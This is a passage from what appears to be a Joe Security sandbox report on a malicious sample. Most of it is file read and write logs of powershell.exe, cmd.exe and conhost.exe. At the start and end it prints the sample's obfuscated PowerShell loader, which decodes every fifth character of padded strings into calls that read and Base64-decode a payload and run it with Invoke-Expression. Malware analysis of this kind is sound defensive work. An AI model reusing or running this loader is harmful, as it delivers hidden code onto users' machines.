amDErpieSyssl WaxeNoncgTankeCulm hove$FremBEruciMuggbBigalGlopiFjan0Mith0 Kej}Eryt ');Delege (Beregneras 'Crum$TelogChirlDyreo topb BygaGiralRets: BesBRelaaUdstlMacraSprgn AllcLinj7supp=Kerc(FalsT OveeGennsOvertEfte-tilsPRosiaPremtUforhMind for$TestBBedea applTangaGallnKlusc Haa2
Rie) Kat ') ;}Delege (Beregneras 'Stat$BreagUniplLangoNikkbOmska MellDivi:HydrU Livn AnpfAnlgaHarr Lusk=Jobh FagoGUntreRegntJend-DoctC Kla
oGlannSkdetImiteFananNondtEmot Rdns$EfteB AboaTabalOmkraDeutnsygecPrae2Opre ');Delege (Beregneras 'Spol$TobagLibyl Scuo probBeskaFlyvlbibl:
Neldantia RipmUnivpUpflsEnth Side= Tak Skr[MegaSMachyPlumsUnsatSimueAdormUnde.HoveCSmeloLigun IntvCoeseUnderDermtMono] Ani:Sinu:C
losFHover Trao KommSvanBstryaCraisPhile Rac6stud4DeliSWrottMixor Alliskiwn BelgChem( Ekv$afmrUIntenSekvfDagsaChie)Hule ');Delege (Beregneras'Erne$IntegDklil ObsoTravbTorkaDjvelTour:SkarBMiljiTitubFrill smeiAdli2Macu Rad=Thun Glde[ RedSFloky trisStaatvehie spamFork. SmeTInkleTurbxRecutBrs
e.LivsERippnFantc SeloAeradHeksiPapinuretgthat]Okta:Kros: PlaAKuliSUdplCEpicI KarIDedu.OptaGDrileopsktAssiSComrtQuaar EstiBresnOphagFost(Tids$
ChedUncoaSneam Afdp BygsCock)Pilo ');Delege (Beregneras 'Pris$stylgAdsolUindoThatbModeaBattlSelv:DrngBStueiAktibKonclLeuciOver3 sub=Udre$
IntrBSkruiOffebAdorlAfvaiUnal2Emda.FastsVenou Brab MersolietOverrEvaliMaurnTrmlgSkmt(Gala2Paas8Hinc6kult8Prop6Disc0Bevb,Usin1 Afs8Judi4Biof0
For6Bole) Whi ');Delege $Bibli3;};;

Imagebase:

0x7ff7be880000

File size:

452'608 bytes

MD5 hash:

04029E121A0CFA5991749937DD22A1D9

Has elevated privileges:false

Has administrator
privileges:

false

Programmed in:.Net C# or VB.NET

Reputation:high

Has exited:

true

File Activities
File CreatedFile Path

Copyright Joe Security LLC 2023

AccessAttributes

Options

Completion

Count

Source Address

SymbolPage 31 of 57

File Path

AccessAttributes

Options

Completion

Count

Source Address

Symbol

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_ryzkm2d0.0hg.ps1

read attributes |synchronize |generic write

devicesequential only |synchronous io
non alert | nondirectory file |open no recall

success or wait

1

7FF8A683517F

CreateFileW

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_pce1czee.22e.psm1

read attributes |synchronize |generic write

devicesequential only |synchronous io
non alert | nondirectory file |open no recall

success or wait

1

7FF8A683517F

CreateFileW

C:\Windows\system32\catroot

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

1

7FF8A3ADDB8F

unknown

C:\Windows\system32\catroot2

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

1

7FF8A3ADDB8F

unknown

C:\Users\userread data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

1

7FF8A854797B

unknown

C:\Users\user\AppData\Roaming

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

1

7FF8A854797B

unknown

C:\Windows\system32\catroot

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

2

7FF8A3ADDB8F

unknown

C:\Windows\system32\catroot2

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

2

7FF8A3ADDB8F

unknown

C:\Windows\system32\catroot

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

2

7FF8A3ADDB8F

unknown

C:\Windows\system32\catroot2

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

2

7FF8A3ADDB8F

unknown

C:\Windows\system32\catroot

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

1

7FF8A3ADDB8F

unknown

C:\Windows\system32\catroot2

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

1

7FF8A3ADDB8F

unknown

C:\Windows\system32\catroot

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

1

7FF8A3ADDB8F

unknown

C:\Windows\system32\catroot2

read data or list
directory |synchronize

devicedirectory file |synchronous io
non alert | open
for backup ident| open reparse
point

object name collision

1

7FF8A3ADDB8F

unknown

Copyright Joe Security LLC 2023

Page 32 of 57

File Path

AccessAttributes

Options

Completion

Count

Source Address

Symbol

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCacheread attributes |synchronize |generic read |generic write

devicesynchronous io
non alert | nondirectory file |open no recall

success or wait

1

7FF8A683517F

CreateFileW

File DeletedFile Path

Completion

Count

Source Address

Symbol

C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_ryzkm2d0.0hg.ps1

success or wait

1

7FF8A682A731

DeleteFileW

C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_pce1czee.22e.psm1

success or wait

1

7FF8A682A731

DeleteFileW

File Written
File Path

OffsetLength Value

Ascii

Completion

Count

Source Address

Symbol

C:\Users\user\AppData\Local\Te
mp\__PSscr
iptPolicyTest_ryzkm2d0.0hg.ps1

060

23 20 50 6f 77 65 72 53
68 65 6c 6c 20 74 65 73
74 20 66 69 6c 65 20 74
6f 20 64 65 74 65 72 6d
69 6e 65 20 41 70 70 4c
6f 63 6b 65 72 20 6c 6f
63 6b 64 6f 77 6e 20 6d
6f 64 65 20# PowerShell test file todetermine AppLocker
lockdown mode

success or wait

1

7FF8A682C9C8WriteFile

C:\Users\user\AppData\Local\Te
mp\__PSscr
iptPolicyTest_pce1czee.22e.psm1

060

23 20 50 6f 77 65 72 53
68 65 6c 6c 20 74 65 73
74 20 66 69 6c 65 20 74
6f 20 64 65 74 65 72 6d
69 6e 65 20 41 70 70 4c
6f 63 6b 65 72 20 6c 6f
63 6b 64 6f 77 6e 20 6d
6f 64 65 20# PowerShell test file todetermine AppLocker
lockdown mode

success or wait

1

7FF8A682C9C8WriteFile

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod
uleAnalysisCache

0

4096

50 53 4d 4f 44 55 4c 45
43 41 43 48 45 01 10 00
00 00 19 65 fd fd 7a fd 08
53 00 00 00 43 3a 5c 50
72 6f 67 72 61 6d 20 46
69 6c 65 73 5c 57 69 6e
64 6f 77 73 50 6f 77 65
72 53 68 65 6c 6c 5c 4d
6f 64 75 6c 65 73 5c 50
6f 77 65 72 53 68 65 6c
6c 47 65 74 5c 31 2e 30
2e 30 2e 31 5c 50 6f 77
65 72 53 68 65 6c 6c 47
65 74 2e 70 73 64 31 1d00 00 00 10 00 00 00 55
6e 69 6e 73 74 61 6c 6c
2d 4d 6f 64 75 6c 65 02
00 00 00 04 00 00 00 69
6e 6d 6f 01 00 00 00 04
00 00 00 66 69 6d 6f 01
00 00 00 0e 00 00 00 49
6e 73 74 61 6c 6c 2d 4d
6f 64 75 6c 65 02 00 00
00 12 00 00 00 4e 65 77
2d 53 63 72 69 70 74 46
69 6c 65 49 6e 66 6f 02
00 00 00 0e 00 00 00 50
75 62 6c 69 73 68 2d 4d
6f 64 75 6c 65 02 00 00
00 0e 00 00 00 49 6e 73
74 61 6c 6c 2d 53 63 72
69 70 74 02 00

PSMODULECACHEezS success or wait
C:\Program Fil
es\WindowsPowerShell\
Modules\PowerShellGet\1.0.0.1\Po
werShellGet.psd1UninstallModuleinmofimoInstallModuleNew-scr
iptFileInfoPublishModuleInstall-scr<wbr>ipt

1

7FF8A682C9C8WriteFile

Copyright Joe Security LLC 2023

Page 33 of 57

File Path

OffsetLength Value

Ascii

Completion

Count

Source Address

Symbol

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod
uleAnalysisCache

4096

4096

00 53 74 6f 70 2d 50 72
6f 63 65 73 73 08 00 00
00 0f 00 00 00 52 65 73
74 61 72 74 2d 53 65 72
76 69 63 65 08 00 00 00
10 00 00 00 52 65 73 74
6f 72 65 2d 43 6f 6d 70
75 74 65 72 08 00 00 00
0c 00 00 00 43 6f 6e 76
65 72 74 2d 50 61 74 68
08 00 00 00 11 00 00 00
53 74 61 72 74 2d 54 72
61 6e 73 61 63 74 69 6f
6e 08 00 00 00 0c 00 00
00 47 65 74 2d 54 69 6d
65 5a 6f 6e 65 08 00 00
00 09 00 00 00 43 6f 70
79 2d 49 74 65 6d 08 00
00 00 0f 00 00 00 52 65
6d 6f 76 65 2d 45 76 65
6e 74 4c 6f 67 08 00 00
00 0b 00 00 00 53 65 74
2d 43 6f 6e 74 65 6e 74
08 00 00 00 0b 00 00 00
4e 65 77 2d 53 65 72 76
69 63 65 08 00 00 00 0a
00 00 00 47 65 74 2d 48
6f 74 46 69 78 08 00 00
00 0f 00 00 00 54 65 73
74 2d 43 6f 6e 6e 65 63
74 69 6f 6e 08 00 00 00
0f 00 00 00 47 65 74

Stop-ProcessRestartServiceRestoreComputerConvertPathStartTransactionGetTimeZoneCopy-I
temRemoveEventLogSet-ContentN
ew-ServiceGetHotFixTest-Conne
ctionGet

success or wait

1

7FF8A682C9C8WriteFile

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod
uleAnalysisCache

8192

3416

2d 50 65 73 74 65 72 4f
70 74 69 6f 6e 02 00 00
00 0d 00 00 00 49 6e 76
6f 6b 65 2d 50 65 73 74
65 72 02 00 00 00 12 00
00 00 52 65 73 6f 6c 76
65 54 65 73 74 53 63 72
69 70 74 73 02 00 00 00
14 00 00 00 53 65 74 2d
53 63 72 69 70 74 42 6c
6f 63 6b 53 63 6f 70 65
02 00 00 00 00 00 00 00
fd 3a fd 7a fd 08 51 00 00
00 43 3a 5c 57 69 6e 64
6f 77 73 5c 73 79 73 74
65 6d 33 32 5c 57 69 6e
64 6f 77 73 50 6f 77 65
72 53 68 65 6c 6c 5c 76
31 2e 30 5c 4d 6f 64 75
6c 65 73 5c 42 69 74 73
54 72 61 6e 73 66 65 72
5c 42 69 74 73 54 72 61
6e 73 66 65 72 2e 70 73
64 31 08 00 00 00 13 00
00 00 52 65 6d 6f 76 65
2d 42 69 74 73 54 72 61
6e 73 66 65 72 08 00 00
00 10 00 00 00 47 65 74
2d 42 69 74 73 54 72 61
6e 73 66 65 72 08 00 00
00 14 00 00 00 53 75 73
70 65 6e 64-PesterOptionInvokesuccess or wait
PesterResolveTestscr
iptsSetscr<wbr>iptBlockScopez
Q
C:\Windows\system32\WindowsPow
erShell\v1.0\Modules\Bits
Trans
fer\BitsTransfer.psd1Rem
ove-BitsTransferGetBitsTransferSuspend

1

7FF8A682C9C8WriteFile

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta
rtupProfileData-NonInteractive

0

64

40 00 00 01 65 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
01 00 00 00 00 00 00 00
00 00 00 00 14 00 fd 02
0f 00 00 00 00 00 00 00
00 00 00 00 04 40 00 fd
00 00 00 00 00 00 00 00@e@1

7FF8A8A944D9

WriteFile

success or wait

File Read
File Path

OffsetLengthCompletion

Count

Source Address

Symbol

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config

unknown

4095

success or wait

1

7FF8A8526FE3

unknown

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config

unknown8173

end of file

1

7FF8A8526FE3

unknown

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi
ne.config

unknown

4095

success or wait

1

7FF8A8526FE3

unknown

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi
ne.config

unknown6135

success or wait

1

7FF8A8526FE3

unknown

C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\b849
3bec853ac702d2188091d76ccffa\mscorlib.ni.dll.aux

unknown

176

success or wait

1

7FF8A84F5F36

ReadFile

Copyright Joe Security LLC 2023

Page 34 of 57

File Path

OffsetLengthCompletion

Count

Source Address

Symbol

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config

unknown

4095

success or wait

1

7FF8A851F056

ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config

unknown8173

end of file

1

7FF8A851F056

ReadFile

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi
ne.config

unknown

4095

success or wait

1

7FF8A851F056

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb3
78ec07#\0827b790b8e74d0d12643297a812ae07\Microsoft.PowerShell.ConsoleHost.ni.dll.aux

unknown

1248

success or wait

1

7FF8A84F5F36

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7
f31cee3e87b56c8edca55324e0\System.ni.dll.aux

unknown

620

success or wait

1

7FF8A84F5F36

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll.aux

unknown

900

success or wait

1

7FF8A84F5F36

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa5
7fc8cc#\27947b366dfb4feddb2be787d72ca90d\System.Management.A
utomation.ni.dll.aux

unknown2764

success or wait

1

7FF8A84F5F36

ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config

unknown

4095

success or wait

1

7FF8A8526FE3

unknown

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config

unknown8173

end of file

1

7FF8A8526FE3

unknown

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config

unknown

4095

success or wait

1

7FF8A8526FE3

unknown

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config

unknown8173

end of file

1

7FF8A8526FE3

unknown

C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf4
9f6405#\7488c4f196cfa60a4ca5cca24e2169b0\Microsoft.Managemen
t.Infrastructure.ni.dll.aux

unknown

748

success or wait

1

7FF8A84F5F36

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manage
ment\8af759007c012da690062882e06694f1\System.Management.ni.dll.auxunknown764

success or wait

1

7FF8A84F5F36

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Dired1
3b18a9#\e9e64b91c0e4559f01e50ac43ffb9a2a\System.DirectorySer
vices.ni.dll.aux

unknown752

success or wait

1

7FF8A84F5F36

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db
3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll.aux

unknown

748

success or wait

1

7FF8A84F5F36

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Numeri
cs\ce1e4670373608336100bea63bbc8990\System.Numerics.ni.dll.aux

unknown

300

success or wait

1

7FF8A84F5F36

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Data\545a9409c1765a7821d3e6c4319ecb2b\System.Data.ni.dll.aux

unknown1540

success or wait

1

7FF8A84F5F36

ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta
rtupProfileData-NonInteractive

unknown

64

success or wait

1

7FF8A854C107

ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta
rtupProfileData-NonInteractive

unknown

1300

success or wait

1

7FF8A854C1E5ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Config
uration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuratio
n.ni.dll.aux

unknown864

success or wait

1

7FF8A84F5F36

ReadFile

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi
ne.config

unknown

4095

success or wait

1

7FF8A8526FE3

unknown

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi
ne.config

unknown

8171

end of file

1

7FF8A8526FE3

unknown

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi
ne.config

unknown4096

success or wait

1

7FF8A682C9C8ReadFile

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi
ne.config

unknown4096

end of file

1

7FF8A682C9C8ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config

unknown4096

success or wait

1

7FF8A682C9C8ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config

unknown4096

end of file

1

7FF8A682C9C8ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f
792626#\6678f8d97608760913b0724754b6ee75\Microsoft.PowerShell.Security.ni.dll.aux

unknown

1268

success or wait

1

7FF8A84F5F36

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Transa
ctions\ce574ae4e11a47e97df21426503a82c9\System.Transactions.
ni.dll.aux

unknown924

success or wait

1

7FF8A84F5F36

ReadFile\pipe

unknown4096

success or wait

1

7FF8A682C9C8ReadFile\pipe

unknown

4096

pipe broken

1

7FF8A682C9C8ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

unknown4096

success or wait

1

7FF8A682C9C8ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

unknown492

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

unknown4096

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana
gement\1.0.0.1\PackageManagement.psd1

unknown4096

success or wait

1

7FF8A682C9C8ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana
gement\1.0.0.1\PackageManagement.psd1

unknown734

end of file

1

7FF8A682C9C8ReadFile

Copyright Joe Security LLC 2023

Page 35 of 57

File Path

OffsetLengthCompletion

Count

Source Address

Symbol

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana
gement\1.0.0.1\PackageManagement.psd1

unknown4096

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psd1

unknown4096

success or wait

1

7FF8A682C9C8ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psd1

unknown4096

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psd1

unknown4096

success or wait

2

7FF8A682C9C8ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psd1

unknown4096

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psm1

unknown4096

success or wait

7

7FF8A682C9C8ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psm1

unknown682

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psm1

unknown4096

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown4096

success or wait

1

7FF8A682C9C8ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown289

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown4096

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown4096

success or wait

1

7FF8A682C9C8ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

unknown289

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PSModule.psm1

unknown4096

success or wait

128

7FF8A682C9C8ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PSModule.psm1

unknown993

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PSModule.psm1

unknown4096

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerSh
ell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1

unknown4096

success or wait

1

7FF8A682C9C8ReadFile

C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerSh
ell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1

unknown492

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1

unknown4096

success or wait

1

7FF8A682C9C8ReadFile

C:\Program Files\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1

unknown734

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1

unknown4096

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1

unknown4096

success or wait

1

7FF8A682C9C8ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1

unknown4096

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1

unknown4096

success or wait

2

7FF8A682C9C8ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1

unknown4096

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1

unknown4096

success or wait

5

7FF8A682C9C8ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1

unknown682

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1

unknown4096

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1

unknown4096

success or wait

1

7FF8A682C9C8ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1

unknown289

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1

unknown289

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1

unknown4096

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1

unknown4096

success or wait

125

7FF8A682C9C8ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1

unknown993

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1

unknown4096

end of file

1

7FF8A682C9C8ReadFile

C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\
PSReadline.psd1

unknown4096

success or wait

1

7FF8A682C9C8ReadFile

C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\
PSReadline.psd1

unknown4096

end of file

1

7FF8A682C9C8ReadFile

Copyright Joe Security LLC 2023

Page 36 of 57

File Path

OffsetLengthCompletion

Count

Source Address

Symbol

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown4096

success or wait

1

7FF8A682C9C8ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown599

end of file

1

7FF8A682C9C8ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown4096

end of file

1

7FF8A682C9C8ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown4096

success or wait

1

7FF8A682C9C8ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

unknown599

end of file

1

7FF8A682C9C8ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P52
1220ea#\4e979ea52142e3f41413c0b74e6f297b\Microsoft.PowerShell.Commands.Utility.ni.dll.aux

unknown2264

success or wait

1

7FF8A84F5F36

ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Confe6
4a9051#\434f871c532673e1359654ad68a1c225\System.Configuratio
n.Install.ni.dll.aux

unknown

1260

success or wait

1

7FF8A84F5F36

ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

unknown4096

success or wait

6

7FF8A682C9C8ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

unknown128

end of file

1

7FF8A682C9C8ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

unknown4096

end of file

1

7FF8A682C9C8ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown4096

success or wait

1

7FF8A682C9C8ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown490

end of file

1

7FF8A682C9C8ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown4096

success or wait

1

7FF8A682C9C8ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown490

end of file

1

7FF8A682C9C8ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Management\Microsoft.PowerShell.Management.psd1

unknown4096

end of file

1

7FF8A682C9C8ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae
3498d9#\4135231357d2e604d3b2e98c39d401a0\Microsoft.PowerShell.Commands.Management.ni.dll.aux

unknown3148

success or wait

1

7FF8A84F5F36

ReadFile

LengthCompletion

Count

Source Address

SymbolAnalysis Process: conhost.exe

PID: 5908, Parent PID: 5968

GeneralTarget ID:

3

Start time:

09:41:36

Start date:

11/12/2023

Path:

C:\Windows\System32\conhost.exe

Wow64 process (32bit):false

Commandline:

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase:

0x7ff6d64d0000

File size:862'208 bytes

MD5 hash:

0D698AF330FD17BEE3BF90011D49251D

Has elevated privileges:false

Has administrator
privileges:

false

Programmed in:

C, C++ or other language

Reputation:high

Has exited:

true

File Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
File Path

Analysis Process: cmd.exe

Offset

PID: 4852, Parent PID: 5968

GeneralCopyright Joe Security LLC 2023

Page 37 of 57

Target ID:

4

Start time:

09:41:37

Start date:

11/12/2023

Path:

C:\Windows\System32\cmd.exe

Wow64 process (32bit):false

Commandline:

C:\Windows\system32\cmd.exe" /c "echo 1 && exit

Imagebase:

0x7ff737930000

File size:289'792 bytes

MD5 hash:

8A2122E8162DBEF04694B9C3E0B6CDEE

Has elevated privileges:false

Has administrator
privileges:

false

Programmed in:

C, C++ or other language

Reputation:high

Has exited:

true

File Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
File Path

AccessAnalysis Process: powershell.exe

Attributes

Options

Completion

Count

Source Address

Symbol

PID: 4592, Parent PID: 5968

GeneralTarget ID:

5

Start time:

09:41:38

Start date:

11/12/2023

Path:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit):true

Commandline:

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Beregneras ([String]$Shamsd){$Begrudgeme = 5;For($Perryrearw=4; $Perryrearw lt $Shamsd.Length-1; $Perryrearw+=$Begrudgeme){ $Bibli4 = $Shamsd.Substring($Perryrearw, $Snaprep); $Bibli=$Bibli+$Bibli4; }$Bibli;}$Snaprep = (cmd /c'echo 1 && exit');$Bibli01=Beregneras 'DansiGradeAntixLens ';$Bibli02=Beregneras 'AbsoTPensrHarpa Bonn Spes Absf FreeForbrmontrKurtiBuernprimg Ing';$Surmul = Beregneras ' Ign\NoncsMarmyNonas PakwPreho MagwSulk6Soci4 Arv\ UneWconciPrinnKulldHannononnwSubesSaniPLecyoSvamwAutoeSkolrgi
